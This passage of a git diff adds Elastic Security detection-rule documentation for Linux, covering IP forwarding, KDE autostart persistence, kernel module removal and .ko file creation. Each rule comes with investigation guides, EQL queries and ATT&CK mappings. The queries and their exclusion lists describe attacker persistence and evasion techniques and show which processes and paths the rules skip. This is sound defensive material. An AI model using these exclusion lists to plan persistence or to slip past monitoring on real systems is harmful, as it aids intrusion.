({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating IPv4/IPv6 Forwarding Activity* + + +IPv4/IPv6 forwarding allows a Linux system to route traffic between network interfaces, facilitating network communication. While essential for legitimate network operations, adversaries can exploit this capability to pivot across networks, exfiltrate data, or maintain control channels. The detection rule identifies suspicious command executions that enable IP forwarding, focusing on specific command patterns and processes, thus highlighting potential misuse. + + +*Possible investigation steps* + + +- Review the process command line details to understand the context in which IP forwarding was enabled, focusing on the specific command patterns identified in the alert. +- Identify the parent process of the suspicious command execution using the process.parent.executable field to determine if it was initiated by a legitimate or potentially malicious process. +- Check the user account associated with the process execution to assess if the action was performed by an authorized user or if there are signs of compromised credentials. +- Investigate recent network activity on the host to identify any unusual traffic patterns or connections that could indicate data exfiltration or lateral movement. +- Correlate the alert with other security events or logs from the same host or network segment to identify any related suspicious activities or patterns. +- Assess the system's current configuration and network topology to determine if enabling IP forwarding could have been part of a legitimate administrative task or if it poses a security risk. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators enable IP forwarding for legitimate network configuration purposes. To manage this, create exceptions for known administrative scripts or processes that regularly perform these actions. +- Automated scripts or configuration management tools like Ansible or Puppet might execute commands that match the rule's criteria. Identify these tools and exclude their processes from the rule to prevent false alerts. +- Network testing or troubleshooting activities often require temporary enabling of IP forwarding. Document and exclude these activities when performed by trusted users or during scheduled maintenance windows. +- Virtualization or container orchestration platforms may enable IP forwarding as part of their normal operations. Recognize these platforms and adjust the rule to ignore their specific processes or command patterns. +- Security tools or network monitoring solutions might also enable IP forwarding for analysis purposes. Verify these tools and exclude their processes to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those enabling IP forwarding, to halt potential lateral movement or data exfiltration. +- Conduct a thorough review of network traffic logs to identify any unusual or unauthorized connections that may indicate command and control activity. +- Revert any unauthorized changes to system configurations, specifically those related to IP forwarding settings, to restore the system to its secure state. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Implement network segmentation to limit the ability of attackers to pivot between networks in the future. +- Enhance monitoring and alerting for similar suspicious activities by tuning detection systems to recognize patterns associated with IP forwarding misuse. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "exec_event", "ProcessRollup2") and +process.parent.name != null and process.command_line like ( + "*net.ipv4.ip_forward*", "*/proc/sys/net/ipv4/ip_forward*", "*net.ipv6.conf.all.forwarding*", + "*/proc/sys/net/ipv6/conf/all/forwarding*" +) and ( + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and + process.command_line like "*echo *" + ) +) and +not ( + process.parent.name like~ ("privsep-helper", "platform-python*", "init.ipv6-global", "wsl-bootstrap") or + ?process.parent.executable == "/usr/sbin/sshd" or + ?process.parent.args in ( + "/usr/lib/pritunl/usr/bin/pritunl", "/usr/bin/dockerd-rootless.sh", "/etc/rc.d/init.d/network", "/etc/rc0.d/K90network" + ) or + ?process.parent.args like "/etc/untangle/post-network-hook.d/*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: Internal Proxy +** ID: T1090.001 +** Reference URL: https://attack.mitre.org/techniques/T1090/001/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kde-autostart-script-or-desktop-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kde-autostart-script-or-desktop-file-creation.asciidoc new file mode 100644 index 0000000000..6f185d09a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kde-autostart-script-or-desktop-file-creation.asciidoc @@ -0,0 +1,237 @@ +[[prebuilt-rule-8-19-36-kde-autostart-script-or-desktop-file-creation]] +=== KDE AutoStart Script or Desktop File Creation + +Identifies the creation or modification of a K Desktop Environment (KDE) AutoStart script or desktop file that will execute upon each user logon. Adversaries may abuse this method for persistence. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://userbase.kde.org/System_Settings/Autostart +* https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/ +* https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 222 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating KDE AutoStart Script or Desktop File Creation* + + +K Desktop Environment (KDE) is a popular graphical desktop environment for Linux systems. It supports AutoStart scripts and desktop files that execute automatically upon user logon. + +Adversaries may exploit this feature to maintain persistence on a compromised system by creating or modifying these files. + +The detection rule 'KDE AutoStart Script or Desktop File Creation' is designed to identify such activities by monitoring file events on Linux systems. It specifically targets the creation or modification of files with extensions ".sh" or ".desktop" in various AutoStart directories. By detecting these events, the rule helps security analysts identify potential abuse of KDE AutoStart functionality by malicious actors. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate the file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE ( path LIKE '/home/%/.config/autostart/%.sh' OR path LIKE '/home/%/.config/autostart/%.desktop'\nOR path LIKE '/root/.config/autostart/%.sh' OR path LIKE '/root/.config/autostart/%.desktop' OR path LIKE\n'/home/%/.kde/Autostart/%.sh' OR path LIKE '/home/%/.kde/Autostart/%.desktop' OR path LIKE '/root/.kde/Autostart/%.sh'\nOR path LIKE '/root/.kde/Autostart/%.desktop' OR path LIKE '/home/%/.kde4/Autostart/%.sh' OR path LIKE\n'/home/%/.kde4/Autostart/%.desktop' OR path LIKE '/root/.kde4/Autostart/%.sh' OR path LIKE\n'/root/.kde4/Autostart/%.desktop' OR path LIKE '/home/%/.kde/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde/share/autostart/%.desktop' OR path LIKE '/root/.kde/share/autostart/%.sh' OR path LIKE\n'/root/.kde/share/autostart/%.desktop' OR path LIKE '/home/%/.kde4/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde4/share/autostart/%.desktop' OR path LIKE '/root/.kde4/share/autostart/%.sh' OR path LIKE\n'/root/.kde4/share/autostart/%.desktop' OR path LIKE '/home/%/.local/share/autostart/%.sh' OR path LIKE\n'/home/%/.local/share/autostart/%.desktop' OR path LIKE '/root/.local/share/autostart/%.sh' OR path LIKE\n'/root/.local/share/autostart/%.desktop' OR path LIKE '/home/%/.config/autostart-scripts/%.sh' OR path LIKE\n'/home/%/.config/autostart-scripts/%.desktop' OR path LIKE '/root/.config/autostart-scripts/%.sh' OR path LIKE\n'/root/.config/autostart-scripts/%.desktop' OR path LIKE '/etc/xdg/autostart/%.sh' OR path LIKE\n'/etc/xdg/autostart/%.desktop' OR path LIKE '/usr/share/autostart/%.sh' OR path LIKE '/usr/share/autostart/%.desktop' )\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path LIKE '/home/%/.config/autostart/%.sh' OR\npath LIKE '/home/%/.config/autostart/%.desktop' OR path LIKE '/root/.config/autostart/%.sh' OR path LIKE\n'/root/.config/autostart/%.desktop' OR path LIKE '/home/%/.kde/Autostart/%.sh' OR path LIKE\n'/home/%/.kde/Autostart/%.desktop' OR path LIKE '/root/.kde/Autostart/%.sh' OR path LIKE\n'/root/.kde/Autostart/%.desktop' OR path LIKE '/home/%/.kde4/Autostart/%.sh' OR path LIKE\n'/home/%/.kde4/Autostart/%.desktop' OR path LIKE '/root/.kde4/Autostart/%.sh' OR path LIKE\n'/root/.kde4/Autostart/%.desktop' OR path LIKE '/home/%/.kde/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde/share/autostart/%.desktop' OR path LIKE '/root/.kde/share/autostart/%.sh' OR path LIKE\n'/root/.kde/share/autostart/%.desktop' OR path LIKE '/home/%/.kde4/share/autostart/%.sh' OR path LIKE\n'/home/%/.kde4/share/autostart/%.desktop' OR path LIKE '/root/.kde4/share/autostart/%.sh' OR path LIKE\n'/root/.kde4/share/autostart/%.desktop' OR path LIKE '/home/%/.local/share/autostart/%.sh' OR path LIKE\n'/home/%/.local/share/autostart/%.desktop' OR path LIKE '/root/.local/share/autostart/%.sh' OR path LIKE\n'/root/.local/share/autostart/%.desktop' OR path LIKE '/home/%/.config/autostart-scripts/%.sh' OR path LIKE\n'/home/%/.config/autostart-scripts/%.desktop' OR path LIKE '/root/.config/autostart-scripts/%.sh' OR path LIKE\n'/root/.config/autostart-scripts/%.desktop' OR path LIKE '/etc/xdg/autostart/%.sh' OR path LIKE\n'/etc/xdg/autostart/%.desktop' OR path LIKE '/usr/share/autostart/%.sh' OR path LIKE '/usr/share/autostart/%.desktop' )\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses cron jobs for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.extension in ("sh", "desktop") and +file.path like ( + "/home/*/.config/autostart/*", "/root/.config/autostart/*", + "/home/*/.kde/Autostart/*", "/root/.kde/Autostart/*", + "/home/*/.kde4/Autostart/*", "/root/.kde4/Autostart/*", + "/home/*/.kde/share/autostart/*", "/root/.kde/share/autostart/*", + "/home/*/.kde4/share/autostart/*", "/root/.kde4/share/autostart/*", + "/home/*/.local/share/autostart/*", "/root/.local/share/autostart/*", + "/home/*/.config/autostart-scripts/*", "/root/.config/autostart-scripts/*", + "/etc/xdg/autostart/*", "/usr/share/autostart/*" +) and +not ( + process.name in ( + "yum", "dpkg", "install", "dnf", "teams", "yum-cron", "dnf-automatic", "docker", "dockerd", "rpm", "pacman", + "podman", "nautilus", "remmina", "cinnamon-settings.py", "executor", "xfce4-clipman", "jetbrains-toolbox", + "apk" + ) or + process.executable in ( + "/usr/bin/dnf5", "/usr/libexec/xdg-desktop-portal", "/usr/sbin/mkhomedir_helper", "/sbin/mkhomedir_helper", + "/usr/bin/crio", "/usr/sbin/useradd", "/usr/bin/nextcloud", "/usr/bin/sealert", "/opt/google/chrome/chrome", + "/usr/bin/pamac-daemon", "/usr/sbin/sshd", "/usr/sbin/gdm", "/usr/libexec/platform-python" + ) or + process.executable like "/home/*/.MathWorks/*/glnxa64/mlcpostinstall" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kernel-module-removal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kernel-module-removal.asciidoc new file mode 100644 index 0000000000..edb59177c4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kernel-module-removal.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-36-kernel-module-removal]] +=== Kernel Module Removal + +Kernel modules are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. This rule identifies attempts to remove a kernel module. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://man7.org/linux/man-pages/man8/modprobe.8.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Module Removal* + + +Kernel modules dynamically extend a Linux kernel's capabilities without rebooting. Adversaries may exploit this by removing modules to disable security features or hide malicious activities. The detection rule identifies suspicious module removal attempts by monitoring processes like `rmmod` or `modprobe` with removal arguments, especially when initiated by common shell environments, indicating potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of `rmmod` or `modprobe` with removal arguments. Check the command line arguments to ensure they match the suspicious activity criteria. +- Identify the parent process of the suspicious activity, focusing on shell environments like `sudo`, `bash`, `dash`, `ash`, `sh`, `tcsh`, `csh`, `zsh`, `ksh`, or `fish`, to understand the context in which the module removal was initiated. +- Investigate the user account associated with the process to determine if the activity aligns with expected behavior or if it indicates potential unauthorized access. +- Check system logs and audit logs for any preceding or subsequent suspicious activities that might correlate with the module removal attempt, such as privilege escalation or other defense evasion tactics. +- Assess the impact of the module removal on system security features and functionality, and determine if any critical security modules were targeted. +- Review recent changes or updates to the system that might explain the module removal, such as legitimate maintenance or updates, to rule out false positives. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators use `rmmod` or `modprobe` for legitimate maintenance. To handle this, create exceptions for specific user accounts or scripts known to perform these tasks regularly. +- Automated scripts or configuration management tools that manage kernel modules might cause false positives. Identify these tools and exclude their processes from the rule to prevent unnecessary alerts. +- Some Linux distributions or custom setups might use shell scripts that invoke `rmmod` or `modprobe` during system updates or package installations. Monitor these activities and whitelist the associated parent processes if they are verified as non-threatening. +- Development environments where kernel module testing is frequent can generate alerts. Exclude specific development machines or user accounts involved in module testing to reduce noise. +- Security tools that perform regular checks or updates on kernel modules might inadvertently trigger the rule. Verify these tools and add them to the exception list to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the adversary. +- Terminate any suspicious processes identified as attempting to remove kernel modules, such as those initiated by `rmmod` or `modprobe` with removal arguments. +- Conduct a thorough review of user accounts and privileges on the affected system to ensure no unauthorized access or privilege escalation has occurred. +- Restore any disabled security features or kernel modules to their original state to ensure the system's defenses are intact. +- Analyze system logs and audit trails to identify any additional indicators of compromise or related malicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement enhanced monitoring and alerting for similar activities across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +( + process.name == "rmmod" or + (process.name == "modprobe" and process.args in ("--remove", "-r")) +) and +process.parent.name in ("sudo", "bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +not ( + (?process.parent.args like "/var/tmp/rpm-tmp*" and ?process.parent.args != null) or + (?process.working_directory like~ ("/tmp/makeself*NVIDIA-Linux*", "/tmp/self*NVIDIA-Linux*") and ?process.working_directory != null) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kernel-object-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kernel-object-file-creation.asciidoc new file mode 100644 index 0000000000..a62aecdea1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-kernel-object-file-creation.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-36-kernel-object-file-creation]] +=== Kernel Object File Creation + +This rule detects the creation of a Linux kernel object file (.ko) on a system. Threat actors may leverage Linux kernel object files to load a rootkit or other type of malware on a system providing them with complete control and the ability to hide from security products. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Object File Creation* + + +Kernel object files (.ko) are loadable modules that extend the functionality of the Linux kernel, often used for adding drivers or system features. Adversaries exploit this by loading malicious modules, such as rootkits, to gain control and evade detection. The detection rule identifies suspicious .ko file creation, excluding benign paths, to flag potential threats while minimizing false positives. + + +*Possible investigation steps* + + +- Review the file path of the created .ko file to determine if it is located in a suspicious or unusual directory that is not excluded by the rule, such as /var/tmp or /usr/local. +- Examine the process that created the .ko file by checking the process.executable and process.name fields to identify if it is a known legitimate process or potentially malicious. +- Investigate the parent process of the process that created the .ko file to understand the context of how the file was created and if it was initiated by a legitimate user action or a script. +- Check for any recent system changes or anomalies around the time of the .ko file creation, such as new user accounts, changes in system configurations, or other suspicious file activities. +- Look for any associated network activity from the host around the time of the .ko file creation to identify potential command and control communications or data exfiltration attempts. +- Correlate the alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise that may suggest a broader attack campaign. + + +*False positive analysis* + + +- Kernel updates and system maintenance activities can generate .ko files in legitimate scenarios. Users should monitor for these activities and consider excluding paths related to official update processes. +- Custom kernel module development by developers or system administrators may trigger this rule. Establish a process to whitelist known development environments or specific user accounts involved in module creation. +- Automated system recovery tools, such as those using mkinitramfs, may create .ko files. Ensure these paths are excluded as indicated in the rule to prevent unnecessary alerts. +- Snap package installations might involve .ko file creation. Exclude the /snap/ directory to avoid false positives from legitimate package installations. +- Backup and restoration processes using tools like cpio can lead to .ko file creation. Verify these processes and exclude them if they are part of routine system operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes associated with the creation of the .ko file, especially those not originating from known benign paths. +- Remove the suspicious .ko file from the system to prevent it from being loaded into the kernel. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious components. +- Review system logs and audit trails to identify any unauthorized access or changes made around the time of the .ko file creation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and alerting for similar activities, ensuring that any future attempts to create or load unauthorized .ko files are promptly detected and addressed. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite 